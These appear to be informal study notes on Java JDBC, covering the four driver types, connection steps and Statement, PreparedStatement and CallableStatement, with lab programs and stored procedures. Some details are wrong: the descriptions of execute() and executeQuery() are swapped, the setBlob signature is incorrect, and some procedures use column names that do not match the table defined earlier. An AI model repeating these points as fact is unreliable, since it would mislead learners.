Notes on JDBC : Trying to understand with codes

 ------
| JDBC |     Java Database Connectivity
 ------

-> To make a java application as database independent,sun has provided JDBC API as Technology.


Technology
----------

The specification (high level API) is provided by SUN (Java vendor)

example --> JDBC, Servlet, JSP, EJB  etc.


Framework
---------

The specification (high level API) is provided by third party vendor

example --> struts, hibernate, spring  etc.


API Document
------------

    1.  It understands for Application programming interface.

    2.  This document is very helpful for the user to understand how to use the software or              Technology. 

    3.  it is generated from the .java file or program which is similar like helping file where          all the features are available with thier descriptions of a software or product.   

                        javadoc fileName.java

---------------------------------------------------------------------------------------

                     
---------------- Draw the Diagram -- pic01.jpg -------------------


If you are developing the application using any UI and you want to store the data in the DB then JDBC will be used

UI      -- for (static or dynamic) display

storage -- for dynamic content(display),so for that we need storage.
           and for storage,we take help from either DB or FILE.


----------------------------------------------------------------------

JDBC API ( Application programming interface )
**********************************************

In java.sql package SUN has provided interfaces and classes that will be used to interact the java application with DataBase.

These methods are throwing java.sql.SQLException (checked exception)

The JDBC specification has implemented by various vendors
SUN (java vendor)
Many DB vendor



Architecture:- pic0.jpg
-----------------------

Here only concrete class is DriverManager. The rest of the core API is a set of interfaces.

DriverManager is used to load a JDBC Driver.

A Driver is a software vendor's implementation of the JDBC API. After a driver is loaded,

DriverManager is used to get a Connection.

DatabaseMetaData interface provides detailed information about the database as a whole. The Connection object is used for creating DatabaseMetaData objects.

A Connection is used to create a Statement, or to create and prepare a PreparedStatement or
CallableStatement.

A Connection object represents a connection with a database.

A connection session includes the SQL statements that are executed and the results that are returned over that connection.

A single application can have one or more connections with a single database, or it can have connections with many different databases.

Statement and PreparedStatement objects are used to execute SQL statements.

Statement interface represents a static SQL statement. It can be used to retrieve ResultSet objects.

CallableStatement objects are used to execute stored procedures.

A Connection can also be used to get a DatabaseMetaData object describing a database's
functionality.

The results of executing a SQL statement using a Statement or PreparedStatement are
returned as a ResultSet.

A ResultSet can be used to get the actual returned data.

A ResultSetMetaData object that can  be queried to identify the types of data returned in the ResultSet.


-----------------------------
Steps to use JDBC application   (specially for type4)
-----------------------------

1. Loading the driver/registering the driver with JVM
         
      java.lang.Class.forName("driver");

Driver class  (Oracle)   oracle.jdbc.driver.OracleDriver
Driver class  (MySQL) com.mysql.jdbc.Driver

2. Creating  the connection with the java application and DB

              Connection con = DriverManager.getConnection("url","username","password");

        URL(Oracle) jdbc:oracle:thin:hostname:portno:servicename
        URL(MySQL) jdbc:mysql://hostname:portno/dbname

        Username DB username

        Password DB password

  Hostname localhost   or   127.0.0.1

  port number 3306 for mysql  or  1521 for oracle

  service name XE (for oracle only) where as  dbname only for mysql.

3. Prepare the sql statement (or) query
              String sql = "Data Manipulation Language";

4. Prepare the JDBC statement
              Statement st = con.createStatement();

5. Using JDBC statement submit the sql statement to DB
              int response = st.executeUpdate(sql);

6. Process the response

               if(response==1)
{
                   sop("record inserted");
                }
               else
{
                   sop("record not inserted");
                }
             
7. Close/release the resources (Connection, Statement, PreparedStatement, Resultset)

               finally
                {
                  try
                   {
                    st.close();
                    con.close();
                   }
                  catch(Exception e)
                    {
                       e.PrintStackTrace();
                    }
                 }
 

        -----------------------
J2SE Java JDBC3.0
JSE5 Java5 JDBC3.0
JSE6 Java6 JDBC4.0
JSE7 Java7 JDBC4.1
        -----------------------

Note:-
------
    1.  Step 1 and 7 are done automatically in java6 or JDBC4.0 onward.
    2. step 2 to 6 are used in each and every version.

==============================================================================

Type of JDBC Driver
*******************

Type of Driver         Name of Driver                              Short-Name
---------------  ---------------------                      ------------
Type I Driver         JDBC ODBC Bridge Driver            ------    "bridge"
Type II Driver         Partial Native and java Driver     ------    "native"
Type III Driver         Net Protocol Driver                ------    "middleware"
Type IV Driver         Pure Java Driver                   ------    "pure"

-------------------------------------------------------------------------------


• Database access is the same for all database vendors.

• JVM uses a JDBC driver to translate generalized JDBC calls into vendor specific database call.


-------------------------------------------------------------------------------

Type I Driver (JDBC ODBC Bridge Driver)
***************************************

It is a database driver implementation that employs the ODBC driver to connect to the DB, where

-> ODBC (Open Database Connectivity) uses DSN(Data Source Name).

-> ODBC requires some configuration or installation to identify the database.

-> ODBC is a middle level component provided by the microsoft.

JDBC methods call into ODBC functions call.


Name       --  JDBC ODBC Bridge Driver
Vendor       --  SUN
Driver class  --  Sun.jdbc.odbc.JdbcOdbcDriver      // sun provided this driver.
URL       --  Jdbc:odbc:<DSN>
Username      --  User Specific
password      --  User Specific
Path       --  Bin directory of JDK
classpath     --  Lib directory of JDK/JRE
Software      --  JDK,DB

Note:
-----

this datasource name (DSN) is the custom or user defined name.

package name --- sun.jdbc.odbc

class name   --- JdbcOdbcDriver


Architecture:- pic02.png
------------------------

Note:-
------

In Window 7 Type-I driver will be supported but for that you need to install ODBC driver if it is not Present.

Disadvantage of type-I driver  implementing by Microsoft using C language,so it is platform dependent i.e. when i'm goin to intract with linux, it fails.

Type1 driver requires installation/configuration on client machines.

it is not good for Web.

it is non-portable in nature.

it is not suitable for a high transaction environment.

DSN will be used only in type-I driver.

It is slower than any other driver used here.

This driver also dont have the complete java command set and are limited by the functionality of the ODBC driver(so it contains native code implementation).


Steps to Configure The DSN
**************************
Open control panel :-Administrative tools
Open data source(ODBC) tools
Click on ADD Button under user DSN
Select the driver name from the list (oracle in XE) & install
Click on finish.

Provide the following information or configuration

Data source name : any user specific name
Description      : Optional
TNS service name : XE(select from list)
User ID          : system (current name as a DB)  DB username

To test the connection click on test connection provided by password

Click on OK

Click on OK Button of configuration window and the of ODBC administrative window

***************************

Q1) what is the difference between user DSN and system DSN ?

ans-> user DSN configuration will be used by the current user,where as system DSN configuration       will be used by any user.

Q2) what is the purpose of DSN ?

ans->

Q3) what is the TNS service name ?

ans -> the location of the oracle database from which the odbc driver will retrieve data.

Q4) what is the url ?

ans -> to specify the type of driver and the database used.

Q5) what is Connection ?

ans-> A Connection represents a session with a specific database.
     
      • Within the context of a Connection, SQL statements are executed and results arereturned.
      • Can have multiple connections to a database.
      • Also provides “metadata” -- information about the database, tables, and fields.
      • Also methods to deal with transactions.

====================== JDBC Lab01 ==========================

package com.jdbc;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class Type1Check {
public static void main(String[] args)
{

Connection conn = null;
Statement stmt = null;

try
{
                Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
System.out.println("driver loaded");
    conn = DriverManager.getConnection("jdbc:odbc:MeraEveningDsn", "SYSTEM", "root");
System.out.println("Connection Established");

String sql = "insert into type1 values(78,'funky','Haldia')";
stmt = conn.createStatement();
int res = stmt.executeUpdate(sql);
System.out.println("upadte = "+res);

if(res == 1)
{
   System.out.println("Recorded Inserted");
}
else
{
System.out.println("Record Not inserted");
}
}
catch(ClassNotFoundException e)
{
System.out.println("Class Not Found");
}
catch(Exception e)
{
e.printStackTrace();
}

finally{
try{
stmt.close();
conn.close();
}
catch(Exception e)
{
e.printStackTrace();
   }}}}



Steps to Configure The DSN for MySQL
***********************************
Install ODBC driver using mysql-connector-odbc-5.1.11-win-32.msi
After selecting the Add button in ODBC configuration
Select the driver name the list (MySQL ODBC 5.1 Driver)
Click on finish
Providing the following information
Data Source name:-DB_NAME
TCP/IP:-local host
User:-root (username in db)
Password:(DB password)
Select the DB from list:-DB_NAME
Click the OK button of ODBC administrative window.


================================ JDBC Lab02 =================================

package com.jdbc;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class Type1Mysql
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
try{
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
System.out.println("driver loaded");
conn = DriverManager.getConnection("jdbc:odbc:MysqlDsn", "root", "root");
System.out.println("Connection Established");
String sql = "insert into type4 values(78,'funky','Haldia')";
stmt = conn.createStatement();
int res = stmt.executeUpdate(sql);
System.out.println("upadte = "+res);

if(res == 1)
{
System.out.println("Recorded Inserted");

}
else
{
System.out.println("Record Not inserted");
}
}
catch(ClassNotFoundException e)
{
System.out.println("Class Not Found");
}
catch(Exception e)
{
e.printStackTrace();
}

finally{
try{
stmt.close();
conn.close();
}
catch(Exception e)
{
e.printStackTrace();
}}}}



Type II Driver (Partial Native and java Driver)
***********************************************

 It is a database driver implementation that uses the client side libraries of the Database.

 This driver converts the JDBC method calls into native calls of the DataBase API.

 It has same architechture as Type1,only replacing ODBC driver by native calls.

 As there is no implementation of ODBC driver, so it is comparatively faster than type 1.

---------------------------------------------------------------------------
Name Partial Native and java Driver
Vendor DB vendor
Driver class oracle:jdbc.driver.OracleDriver
URL jdbc:oracle:oci8:@hostname:portno:servicename
Username DB username
password DB password
Path Bin directory of JDK
classpath Set the class path to
class111.jar(oracle 9i)
ojdbc14.jar(oracle 10g)
ojdbc6.jar(JDBC4.0)
S/W Oracle client-server edition(9i)

Architecture:- pic03.png
------------------------

OCI (oracle call interface)



Disadvantage
------------

  1) The vendor client library needs  to installed on the client machine.
  2) All DB has not provided this client side library.
  3) This driver is also platform dependent.
  4) This driver supports all java application excepts Applets.
  5) it is also not good for web.



Type III Driver (Net Protocol Driver)
*************************************

This driver is also known as the pure java driver for Database middleware, which is a    database driver implementation which makes use of a middle tier between the calling         program and the database.

This middletier(Application or web server) converts JDBC calls directly into the vendor   specific Database Protocol.

It differs actually from Type4 driver in the protocol conversion logic resides not at all   clients,but in the middleware tier only.


Like type4, type3 is also written entirely in java and platform independent.

------------------------------------------------------------------------ 

Name Net Protocol Driver   or   Middleware Driver
Vender IDS Software Vendor
Driver class com.ids.Driver
URL jdbc:ids://hostname/dbname
Username DB username
password DB password
Path Bin directory of JDK
classpath Set the class path to


Architecture:- pic04.png
------------------------

IDS (Internet Database Access Server) -- A dynamic server provider vendor.


Disadvantage
------------

 1) requires DB specific coding to be done in the middle tier.




Type IV Driver (Pure java Driver)
******************************

It is also known as the direct to database pure java driver.

it is a database driver implementation that converts jdbc calls directly into a vendor specific database protocol.

It is written completely in java and platform independent.

No translation or middleware layers are used,so improving performance than type3.
or
No translate the request into an intermediary form such as ODBC etc.

they install inside the jvm of the client,which provides better performance than the type1,2&3.

Here the client application is connected directly to the database server.


Here JVM can manage all aspects of the application to database connection.

--------------------------------------------------------------------
Name Pure java Driver
Vender DB vender

Driver class(Oracle) oracle.jdbc.driver.OracleDriver
Driver class(MySQL) com.MySQL.jdbcDriver

URL(Oracle) jdbc:oracle:thin:@hostname:portno:servicename  (oracle thin driver used)
URL(MySQL) jdbc:mysql://hostname:portno/dbname

Username DB username
password DB password

Path Bin directory of JDK

classpath(Oracle) class111.jar(oracle 9i)
                ojdbc14.jar(oracle 10g)
                ojdbc6.jar(JDBC4.0)

classpath(MySQL) mysql.jar

S/W SE or enterprise edition


       
mysql You can specify the url:-
-------------------------------

jdbc:mysql://localhost:3306/dbname
jdbc:mysql:///dbname     default port and localhost
jdbc:mysql:///?      default port and localhost and no DB select


Architecture:- Pic05.png
------------------------

Disadvantage
------------

 1) Drivers are db dependent.
Need to Download the driver “jar” file in a directory.

    • Set the path of the directory in the CLASSPATH environment variable.


Jar file
--------

 it is java archieve file format typically used to aggregate many java classes files and  associated metadata and resources(text,images and so on) into one file to distribute  application s/w   or  libraries on the java platform.

 it has .jar extension.


=====================  JDBC Lab03 =========================

package com.jdbc;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class Type4Mysql
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
try
{
Class.forName("com.mysql.jdbc.Driver");
System.out.println("Driver Loaded");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/myconnection","root","root");
System.out.println("Connection establish");

String sql = "insert into type4 values(80,'sanjay','gaya')";  // create the sql statement
stmt = conn.createStatement();   // create the jdbc statement

// for insert,update,delete -- you have to use --  public int executeUpdate(String sql)

int res = stmt.executeUpdate(sql);    // submit the query  (for modification type)
System.out.println("upadte = "+res);
// process the result
if(res == 1)
{
System.out.println("Recorded Inserted");

}
else
{
System.out.println("Record Not inserted");
}
}
catch(ClassNotFoundException e){
System.out.println("Class not found");
}
catch(Exception e){
e.printStackTrace();
}
finally{
try{
if(stmt!=null)
stmt.close();
if(conn!=null)
conn.close();
}
catch(Exception e)
{
  e.printStackTrace();
  }
}
  }
}

========================================================================================
========================================================================================
========================================================================================

JDBC Statement
--------------
All JDBC Statement interface available in java.sql package.

A Connection is actually used to create or prepare a Statement.

JDBC Statement object is used to execute a static SQL statement.

JDBC Statement object is used to retrieve ResultSet objects.

JDBC Statement objects are used to execute stored procedures.

There are actually three kinds of Statement objects, all of which act as containers for executing SQL statements on a given connection


3 Types of JDBC Statement
*************************

1. Statement
2. PreparedStatement
3. CallableStatement


A Connection is used to create a Statement, or to create and prepare a PreparedStatement or
CallableStatement.

Statement and PreparedStatement objects are used to execute SQL statements.

Statement interface represents a static SQL statement and used to retrieve ResultSet objects.

CallableStatement objects are used to execute stored procedures.



1)Statement:-
**********************************************************************************************

I)  Statement is a interface available in java.sql package

II) You can create the Statement using the following method of connection interface

public Statement createStatement()
public Statement createStatement(int rsType,int rsConcurrency)
public Statement createStatement(int rsType,int rsConcurrency,int rsHoldability)

             Creates a Statement object that will generate ResultSet objects with the given                   type, concurrency, and holdability.

             This method is the same as the createStatement method above, but it allows the                   default result set type, concurrency, and holdability to be overridden.

             -> resultSetType one of the following ResultSet constants:

ResultSet.TYPE_FORWARD_ONLY,
ResultSet.TYPE_SCROLL_INSENSITIVE
ResultSet.TYPE_SCROLL_SENSITIVE


     -> resultSetConcurrency one of the following ResultSet constants:

ResultSet.CONCUR_READ_ONLY
ResultSet.CONCUR_UPDATABLE


             -> resultSetHoldability one of the following ResultSet constants:

ResultSet.HOLD_CURSORS_OVER_COMMIT
ResultSet.CLOSE_CURSORS_AT_COMMIT


          Returns:
          ========

A new Statement object that will generate ResultSet objects with the                             given type, concurrency, and holdability

          Throws:
          =======

SQLException - if a database access error occurs, this method is called on a closed connection                or the given parameters are not ResultSet constants indicating type, concurrency,                and holdability.

SQLFeatureNotSupportedException - if the JDBC driver does not support this method or this method                                   is not supported for the specified result set type, result set                                   holdability and result set concurrency.Since:1.4



III) After creating the statement object, you can call one of the following method to submit the      sql statement the DB

public int executeUpdate(String sql)        ------   DML / DDL
public boolean execute(String sql)          ------   select only
public ResultSet executeQuery(String sql)   ------   Any type of query

IV) when you want to submit (insert or update or delete i.e. DML statement) SQL statement to use     the executeUpdate() method which return the number of record inserted or update or delete.

V)  when you want to submit (insert or update or delete or select)  SQL statement to use the         execute() method which return the boolean value saying whether the ResultSet object is           created or not (the sql statement is select or not)

        To get the resultset object with statement object
public ResultSet getResultSet()

To get the number of record affected with the statement object
public int getUpdateCount()

VI) When you want to submit select SQL Statements then use executeQuery() method which is return     the no of records fatched by select statement in term of ResultSet object

VII) Using single statement object you can submit any type of sql statement and any number of      sql statement (big difference between Statement and PreparedStatement).
ex:-
Statement st=con.createStatement()
String sql1="insert......";
String sql2="delete......";
String sql3="update......";
String sql4="select......";
boolean b1=st.execute(sql1);
int x=st.executeUpdate(sql2);
int y=st.executeUpdate(sql3);
ResultSet rs=st.executeQuery(sql4);

VIII) When you submit the sql stqtement using Statement object then sql Statement will be       compiled and executed every time.
Total time =request time + compile time + execute time + response time
5ms+5ms+5ms+5ms=20ms/slq Statement
If 100 time =100*20=2000ms

IX) If you are providing dynamic value for the query then you need to use concatenation     operator, formatter or StringBuffer etc to formate the query.

X)  If you are providing the value that format is DB depend(may be date) then you need to     provide dependly on DB.


Lab :- 3 example using Statement with SQL select statement
----------------------------------------------------------

create table cmstudents(id int primary key,name varchar(20),email varchar(30),phone                                 long,fee float,dob date);


-------------------  JDBC Lab04 ---------------------------------

package com.jdbcStatement;

import java.sql.Connection;
import java.sql.Date;
import java.sql.ResultSet;
import java.sql.Statement;

public class Lab04
{
@SuppressWarnings("deprecation")
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;
try
{
conn = JdbcUtil.getMysqlConnection();
String sql = "select * from cmstudents";
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);

if(rs.next())
{
do
{
int id = rs.getInt(1);
String nm = rs.getString(2);
String eml = rs.getString(3);
float fee = rs.getFloat(5);

long ph = rs.getLong(4);
Date dt = rs.getDate("dob");

//------ Configuring DOB -------

int d = dt.getDate();

int m = dt.getMonth()+1;

int y = dt.getYear()+1900;

String dob = d+ "-" +m+ "-" +y;

System.out.println(id+"   "+nm+"   "+eml+"   "+ph+"   "+fee+"   "+dob);
 
}while(rs.next());
 
}
else
{
System.out.println("--No Record Found--");
}
}
catch(Exception e)
{
e.printStackTrace();
}
finally
{
JdbcUtil.cleanUp(rs, stmt, conn);
}}}


JdbcUtil.java
-------------


package com.jdbcStatement;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class JdbcUtil
{
static Connection conn;

public static Connection getOracleConnection() throws SQLException
{
try
  {
Class.forName("oracle.jdbc.driver.OracleDriver");
System.out.println("Driver Loaded");
 conn = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:XE", "SYSTEM", "root");
System.out.println("Connection Established");
  }
catch(Exception e)
{
e.printStackTrace();
}
return conn;
}

public static Connection getMysqlConnection() throws SQLException
{
try
  {
Class.forName("com.mysql.jdbc.Driver");
System.out.println("Driver Loaded");
 conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/myconnection","root","root");
System.out.println("Connection establish");
  }
catch(Exception e)
{
e.printStackTrace();
}
return conn;
}

public static void cleanUp(Statement stmt,Connection conn)
   {
   try
{
if(stmt!=null)
stmt.close();
if(conn!=null)
conn.close();
}
catch(Exception e)
{
e.printStackTrace();
}
   }

public static void cleanUp(ResultSet rs,Statement stmt,Connection conn)
{
try{
if(rs!=null)
rs.close();
if(stmt!=null)
stmt.close();
if(conn!=null)
conn.close();
}catch(Exception e)
{
e.printStackTrace();
}}}



/*

 table need for mysql (cmstudents) under myconnection database....

 create table cmstudents(id int primary key,name varchar(10),email varchar(20),phone long,fee float,dob date);

 table needs for oracle (cmstudents)

 create table cmstudents(id int primary key,name varchar(10),email varchar(20),phone number(10),fee float,dob date);


 */





2)Prepared Statement:-

************************************************************************************************
I)Prepare Statement is a interface available in java.sql package

II)You can create the Prepare Statement using the following method of connection interface
public PreparedStatement preparedStatement(sql)
public PreparedStatement preparedStatement(sql,int Scrollability,int Updatability)
public PreparedStatement preparedStatement(sql,int Scrollability,int Updatability,int Holdability)

III)After creating the Prepared statement object you can call me of the following method to submit the sql statement the DB
public int executeUpdate()
public boolean execute()
public ResultSet executeQuery()

IV)using the single prepared statememt object you can submit only sql statement
ex:-
String sql="insert......";
preparedStatement st=con.preparedStatement(sql)
int x=st.executeUpdate();

V) when you submit the sql statement using prepared Statement object the sql statement will be compiled only once first time and pre-compile sql statement will be executed every time.
Total time =request time + compile time +execute time + response time
1st time 5ms+5ms+5ms+5ms=20ms/slq Statement
2nd onward 5ms+0ms+5ms+5ms=15ms/slq Statement
If 101 time =1*20+100*15=1520ms

VI) prepared statement give you the place holder mechanism for providing the data dyanamic to the query you need to use ? symbol for place holder.

VII)To provided the value of place holder you need to invoke the following method depending of the value for place holder.

public void setInt(int paramindex, int value)
public void setShort(int paramindex, short value)
public void setLong(int paramindex, long value)
public void setByte(int paramindex, byte value)
public void setFloat(int paramindex, float value)
` public void setDouble(int paramindex, double value)
public void setChar(int paramindex, char value)
public void setString(int paramindex, String value)
public void setBoolean(int paramindex, boolean value)
public void setBlob(int paramindex, int value) ******

VIII)If you want to specify the date type value then create the object of java.sql.Date type and invoke the following method
public void setDate(int paramindex, Date value)

Lab4:-example using Prepared Statement object with sql insert statement
-----------------------------------------------------------------------

package com.jdbc.Pstatement;

import java.sql.Connection;
import java.sql.Date;
import java.sql.PreparedStatement;

public class Lab4
{
public static void main(String[] args)
{
if(args.length!=8)
{
System.out.println("Enter  values as CLA");
System.exit(0);
}
Connection conn = null;
PreparedStatement pstmt = null;
try
{
int id = Integer.parseInt(args[0]);
String name = args[1];
String email = args[2];
long phone = Long.parseLong(args[3]);
float fee = Float.parseFloat(args[4]);
int d = Integer.parseInt(args[5]);
int m = Integer.parseInt(args[6]);
int y = Integer.parseInt(args[7]);

java.sql.Date dob = new Date(y-1900, m-1, d);
conn = JdbcUtil.getMysqlConnection();

pstmt = conn.prepareStatement("insert into cmstudents values(?,?,?,?,?,?)");

pstmt.setInt(1, id);
pstmt.setString(2, name);
pstmt.setString(3, email);
pstmt.setLong(4, phone);
pstmt.setFloat(5, fee);
pstmt.setDate(6, dob);

int res = pstmt.executeUpdate();
if(res==1)
{
System.out.println("Record Inserted Successfully");
}
else{
System.out.println("Error during inserting");
}

}catch(Exception e)
{
e.printStackTrace();
}
finally{
JdbcUtil.cleanUp(pstmt, conn);
}}}




Lab5:-example using Prepared Statement object with sql select statement
-----------------------------------------------------------------------

package com.jdbc.Pstatement;

import java.sql.Connection;
import java.sql.Date;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class Lab5
{
public static void main(String[] args)
{
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;

   try
   {
   conn = JdbcUtil.getMysqlConnection();
   String sql = "select * from cmstudents where id = ?";
   pstmt = conn.prepareStatement(sql);
   pstmt.setInt(1, Integer.parseInt(args[0]));
   rs = pstmt.executeQuery();
   while(rs.next())
   {
   int i = rs.getInt(1);
   String n = rs.getString(2);
   String e =rs.getString(3);
   long p = rs.getLong(4);
   float f = rs.getFloat(5);
   Date d = rs.getDate(6);
   System.out.println("-----------");
   System.out.print(i+"--"+n+"--"+e+"--"+p+"--"+f+"--"+d);
   }}
   catch(Exception e)
     {
    e.printStackTrace();
     }
finally
   {
      JdbcUtil.cleanUp(rs, pstmt, conn);
}}}






3)Callable Statement:-
************************************************************************************************
I)Callable Statement is a interface available in java.sql package

II)You can create the Collable Statement using the following method of connection interface

public CallableStatement prepareCall(String)
public CallableStatement prepareCall(String,int Scrollability,int Updatability)
public CallableStatement prepareCall(String,int Scrollability,int Updatability,int Holdability)

III)After creating the Collable statement object you can call one of the following method to submit the sql statement the DB
public int executeUpdate()
public boolean execute()
public ResultSet executeQuery()

IV)Callable Statement is designed mainly to invoke the stored procedure running in the DB

V) stored procedure is pre-compile procedure i.e. when you create the procedure then that       procedure will be compiled and store in DB memory .When you make call to the procedure then     that pre compile procedure will be executed directly.

VI)Using the single Callable Statement object you can make a call to only one store procedure
cs=con.prepareCall("call p1(?,?)");
cs.setInt(1,10);
cs.setInt(1,10);
int x =cs.executeUpdate();
VII)Use stored Pocedure when you want to run some logic in DB
    with store procedure using Callable Statement
Total time =request time + compile time +execute time(4 sql stmt) + response time
5ms+0ms+20ms+5ms=30ms/slq Statement
If 101 time =101*30=3030ms
with store procedure using prepare Statement
Total time =request time + compile time +execute time(4 sql stmt) + response time
1st time 4(5ms+5ms+5ms+5ms)=80ms/slq Statement
2nd onword 4(5ms+0ms+5ms+5ms)=60ms/slq Statement
If 101 time =1*80+100*60=6080ms

VIII) To provided the value of place holder mechanism


Lab6:- example using Callable Statement with IN parameter
---------------------------------------------------------

package com.jdbc.Cstatement;

import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.Date;
import java.sql.SQLException;

/*
       for lab 6 we create a procedure named as insertStudentInfo
       as we already create cmstudents tables in both oracle & mysql.
       (Pre-compiled (stored) procedures should must be there in DB).
 */

public class Lab6
{
public static void main(String[] args)
{
Connection conn = null;
CallableStatement cstmt = null;
if(args.length!=8)
{
System.out.println("Enter values through CLA");
System.exit(0);
}
try
{

int id = Integer.parseInt(args[0]);
String name = args[1];
String email = args[2];
long phone = Long.parseLong(args[3]);
float fee = Float.parseFloat(args[4]);
int d = Integer.parseInt(args[5]);
int m = Integer.parseInt(args[6]);
int y = Integer.parseInt(args[7]);

java.sql.Date dob = new Date(y-1900, m-1, d);

conn = JdbcUtil.getMysqlConnection();
        //String sql = "call insertStudentInfo(?,?,?,?,?,?)";
cstmt = conn.prepareCall("call insertStudentInfo(?,?,?,?,?,?)");

cstmt.setInt(1, id);
cstmt.setString(2, name);
cstmt.setString(3, email);
cstmt.setLong(4, phone);
cstmt.setFloat(5, fee);
cstmt.setDate(6, dob);

cstmt.execute();
System.out.println("Called Succesfully");

}
catch(SQLException e)
{
System.out.println("Error in calling Precompiled or Stored procedure (or) Go and check whether your procedure is stored or precompiled in your DB or not");
e.printStackTrace();
}
finally
{
JdbcUtil.cleanUp(cstmt, conn);
}}}



procedure for oracle:
---------------------

create or replace procedure insertstudentinfo(id number,name varchar2,email varchar2,phone long,fee float, dob date)
as
begin
insert into cmstudents values(id,name,email,phone,fee,dob);
end;
/

procedure for mysql:-
---------------------

delimiter $
create procedure insertstudentinfo(id int,name varchar(15),email varchar(25),phone long,fee float, dob date)
begin
insert into cmstudents values(id,name,email,phone,fee,dob);
end $
delimiter;

Lab7:- example using Callable Statement with IN or OUT parameter
-----------------------------------------------------------------------------------------
prcedure for oracle:-
create or replace procedure updatestudentinfo(id IN number,nm OUT varchar2,eml OUT varchar2,inc IN OUT number)
as
begin
update cmstudents set fee=fee+inc where sid=id;
select sname,email,fee into nm,eml,inc from cmstudents where sid=id;
end;
/

prcedure for mysql:-
delimiter $
create procedure updatestudentinfo(id int,OUT nm varchar(20),OUT eml varchar(40),INOUT inc int)
begin
update cmstudents set fee=fee+inc where sid=id;
select sname,email,fee into nm,eml,inc from cmstudents where sid=id;
end;
$



-------

package com.jdbc.Cstatement;

import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.Types;

public class Lab7
{
public static void main(String[] args)
{
if(args.length!=2)
{
System.out.println("Enter the values as CLA");
System.exit(0);
}
Connection conn = null;
CallableStatement cstmt = null;
try
{
int sid = Integer.parseInt(args[0]);
float inc = Float.parseFloat(args[1]);

conn = JdbcUtil.getMysqlConnection();

cstmt = conn.prepareCall("call updateStudentInfo(?,?,?,?)");

cstmt.setInt(1, sid);
cstmt.setFloat(4, inc);

cstmt.registerOutParameter(2, Types.VARCHAR);
cstmt.registerOutParameter(3, Types.VARCHAR);
cstmt.registerOutParameter(4, Types.FLOAT);

cstmt.execute();

String nm = cstmt.getString(2);
String eml = cstmt.getString(3);
float fee = cstmt.getFloat(4);

System.out.println(nm+"\t"+eml+"\t"+fee);

System.out.println("Called Successfully");


}catch(Exception e)
{
System.out.println("Error in calling procedure");
e.printStackTrace();
}finally
{
JdbcUtil.cleanUp(cstmt, conn);
}}}


/*   -------------------for mysql--------------------
 delimiter $
     create procedure updateStudentInfo(sid int,out nm varchar(10),out eml varchar(20),inout inc float)
     begin
       update cmstudents set fee=fee+inc where id = sid;
       select name,email,fee into nm,eml,inc from cmstudents where id = sid;
      end$
      delimiter ;
      ----------------------for Oracle--------------------
     
*/

-------------


Lab8:- example using Callable Statement with OUT parameter
--------------------------------------------------------------------------------
prcedure for oracle:-
create or replace procedure getallstudents(students OUT SYS_REFCURSOR)
as
begin
open students for select * from cmstudents;
end;
/

----------------------------------
package com.jdbc.Cstatement;

import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.Date;
import java.sql.ResultSet;
import java.sql.SQLException;

import oracle.jdbc.driver.OracleTypes;

public class Lab8
{
public static void main(String[] args)
{
Connection conn = null;
CallableStatement cstmt = null;
ResultSet rs = null;

try
{
conn = JdbcUtil.getOracleConnection();
cstmt = conn.prepareCall("call getAllStudents(?)");
cstmt.registerOutParameter(1, OracleTypes.CURSOR);
cstmt.execute();

rs = (ResultSet) cstmt.getObject(1);
if(rs.next())
{
do
{
int id = rs.getInt("id");
String eml = rs.getString("email");

float fee = rs.getFloat(5);
String nm = rs.getString(2);
long ph = rs.getLong("phone");
Date dt = rs.getDate("dob");

int d = dt.getDate();
int m = dt.getMonth()+1;
int y = dt.getYear()+1900;

String dob = d+"-"+m+"-"+y;
System.out.println(id+"\t"+nm+"\t"+eml+"\t"+ph+"\t"+fee+"\t"+dob);

}while(rs.next());
}
else
{
System.out.println("No Record Found");
}

}catch(SQLException e)
{
System.out.println("Error in calling procedure");

}finally{
JdbcUtil.cleanUp(rs, cstmt, conn);
}}}


/*
       --- for lab8 --- you need oracle---with procedure getAllStudents
       --------------------------------------------------------------------------
       create or replace procedure getAllStudents(students out sys_refcursor) as
       begin
        open students for select * from cmstudents;
      end;
      /
*/




Note:-
------

To specify the out perameter you need to use following method
-------------------------------------------------------------
public void registerOutPerameter(int paramindex,int sqlType)
sqlType can be constant feom java.sql.TypeClass


To access the result of out parameter you need to use the following method
--------------------------------------------------------------------------
public X getX(int paramindex)
X can be int long float byte double etc.


Comparision between Statement, PrepareStatement or CollableStatement
-------------------------------------------------------------------------------------------
 Feature     Statement   PrepareStatement        CollableStatement
-------------------------------------------------------------------------------------------
executing multiple SQL Statement YES NO NO
Pre-compile sql statement NO YES YES
store procedure call NO NO YES
place holder         NO YES YES
--------------------------------------------------------------------------------------------




Batch Update
************************************************************************************************
When you want to submit multiple type of sql statement and no of sql statement to the DB at a time then use Batch Update

without Batch Update Using Statement
---------------------------------------------------
for 1 query =5+5+5+5=20ms
for 5 query =20*5=100ms

without Batch Update Using Prepare Statement
---------------------------------------------------
for 1 query =5+0+5+5=15ms
for 5 query =15*5=75ms

with Batch Update Using Statement
---------------------------------------------------
for 5 query =5+5*5+5*5+5=60ms

without Batch Update Using Prepare Statement
---------------------------------------------------
for 5 query =5+5*0+5*5+5=35ms

Lab10:-example using Batch Update
----------------------------------------------
create table Lab9  Lab10:-
create table cmbooks(bid char(10) primary key ,bname char(20),author char(20),pub char(20),cost char(20),edition char(20),isbn char(20));

create table Lab9:-
create table user_table(username varchar2(20) unique,password varchar(20));

---------------------------------------------
To add the query in Batch
public void addBatch(String sql)

To clear the query in Batch
public void clearBatch(String sql)

To submit the query a batch
